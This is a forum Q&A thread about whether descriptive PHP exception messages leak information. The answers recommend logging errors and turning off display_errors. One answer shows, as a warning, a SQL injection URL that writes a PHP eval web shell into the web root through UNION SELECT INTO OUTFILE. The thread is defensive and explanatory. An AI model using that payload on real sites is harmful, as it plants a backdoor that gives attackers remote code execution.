Are detailed exception/error messages a security risk?

I currently check every GET and POST variable with isset() and throw exceptions when isset() returns false.

Example 1:

if(!isset($_GET['some_var']))
    throw new Exception('GET variable [some_var] is not set.');

$someVar = $_GET['some_var'];

Example 2:

if(!isset($_GET['some_num']))
    throw new Exception('GET variable [some_num] is not se开发者_如何学Pythont.');

if(!ctype_digit($_GET['some_num']))
    throw new Exception('GET variable [some_num] is not a number.');

$someNum = $_GET['some_num'];

In my production application I have a global exception handler that posts exceptions and errors to a log file and then redirects to a generic apology page.

Is this an okay practice? Are descriptive exception and error messages such as the ones above security risks (is it possible that a hacker would be able to read the exception notice and then use that information to manipulate my scripts)?

Thanks!

Logging errors and suppressing output is exactly what you should be doing. Error reporting can be nasty..

In OWASP top 10 for 2007 there is Information Leakage and Improper Error Handling, however this was removed in 2010. By setting dispaly_errors=On in your php.ini you become vulnerable to CWE-200. The full path of your web application will be divulged to the attacker. To make matters worse, by having error reporting enabled it makes it easier to find SQL injection by looking for sql error messages.

When combining this on a PHP/MySQL application you can perform a very serious attack

$vuln_query="select name from user where id=".$_GET[id];

If

http://localhost/vuln_query.php?id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"

Which makes this full query:

select name from user where id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"

I would make sure display_errors=Off and that file FILE privileges have been revoked to your web application's MySQL user account.

Displaying detailed errors to a user can be a security risk. Since in this case, they're only being written to a log file and the only data the user gets is a generic page which reveals nothing, you can be as descriptive as you like and you reveal nothing unless the log is compromised.

"is it possible that a hacker would be able to read the exception notice and then use that information to manipulate my scripts?"

Maybe.

Typically, you want to give the least amount of information possible to the end user in an error condition. In this case, if you tell someone a particular get variable doesn't exist, then they might try supplying random values to that variable to see how the app behaves.

Of course, you also have to balance this against the needs of your real users. If the variable is one that they would normally have control over, then giving the response about a problem with the value is perfectly acceptable.

UPDATE

Having recently run into a spate of web API's that seem to think throwing generic error messages is the way to go I want to update this slightly.

It is critical that web API's give an appropriate amount of information back to the consuming system so that they can figure out what's wrong and fix it.

In one recent case for a payment processing API their documentation was simply wrong. The test transaction data that they showed consistently returned with "Server Error 500" and we had no recourse but to get one of their developers on the phone and painstakingly step through each and every element in their XML. Out of 50 elements, only one had the same name as what was in their "developer documents"
In another integration we were given "Server Error 402". -- This one was NOT a payment gateway. Although never referenced in their doc's, apparently that message meant that a JSON parameter was missing. Incidentally, it was a parameter not referenced in their docs and again required time with their developer to identify it.

In both of the above cases it would have been incredibly helpful if the error message had responded with an example of a valid document post. Similar to how the old Unix/DOS commands would come back with the help info when you passed bad parameters. I really don't want to talk to other programmers. I know their time is expensive and they would much rather do something other than answer a support call; but more to the point, if I'm working at 10:00PM and need an answer RFN then waiting until a programmer can get on the phone the next day is rarely an option.

Usually it is considered insecure to print out PHP system error messages on a production server instead of silently logging it.
Though I can't find anything dangerous in the generic apologies page.